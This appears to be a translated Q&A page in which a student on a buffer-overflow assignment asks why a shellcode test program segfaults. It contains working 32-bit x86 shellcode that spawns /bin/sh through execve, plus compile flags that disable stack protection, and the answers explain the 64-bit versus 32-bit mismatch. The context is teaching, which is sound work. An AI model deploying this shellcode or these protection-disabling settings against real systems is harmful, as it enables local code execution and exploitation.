【问题标题】:Assembly version of C code to launch a shell用于启动 shell 的 C 代码的汇编版本
【发布时间】:2018-11-09 09:52:22
【问题描述】:

在缓冲区溢出分配中,我得到了一个 C 文件 (call_shellcode.c),其中包含以下 C 代码的汇编版本,该代码执行以打开一个 shell:

#include <stdio.h>
#include <unistd.h>
int main(){
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

文件call_shellcode.c中的代码是:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdql                           */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
} 

我已经通过命令编译了:

gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c

当我执行它时,它显示分段错误。哪里出错了?

【问题讨论】:

    标签: assembly buffer-overflow shellcode stack-smash


    【解决方案1】:

    这是使用 32 位 int 0x80 ABI 的 32 位 x86 机器代码。

    假设您使用的是普通的 x86-64 Linux 发行版,您将其编译为 64 位可执行文件,因此那些 push imm32 指令解码为 pushq,并且 RSP 位于虚拟地址空间的低 32 位之外。所以int 0x80 将返回eax=-EFAULT 并继续执行到垃圾中,从而导致段错误。

    使用strace 或GDB 来查看(虽然strace 在64 位可执行文件中解码int 0x80 不正确,但它会正确显示返回值)。见What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code?

    使用 gcc -m32 -z execstack .. 生成一个 32 位可执行文件,该机器代码将在其中运行。

    【讨论】:

      【解决方案2】:

      使用下面的命令

      gcc -z execstack -g -o call_shellcode call_shellcode.c

      【讨论】:

      • 问题已经在使用-z execstack - 正如现有答案指出的那样,他们缺少的关键是-m32
      猜你喜欢
      • 2017-02-12
      • 1970-01-01
      • 2021-08-18
      • 1970-01-01
      • 1970-01-01
      • 2011-08-27
      • 1970-01-01
      • 2018-05-07
      • 1970-01-01
      相关资源
      最近更新 更多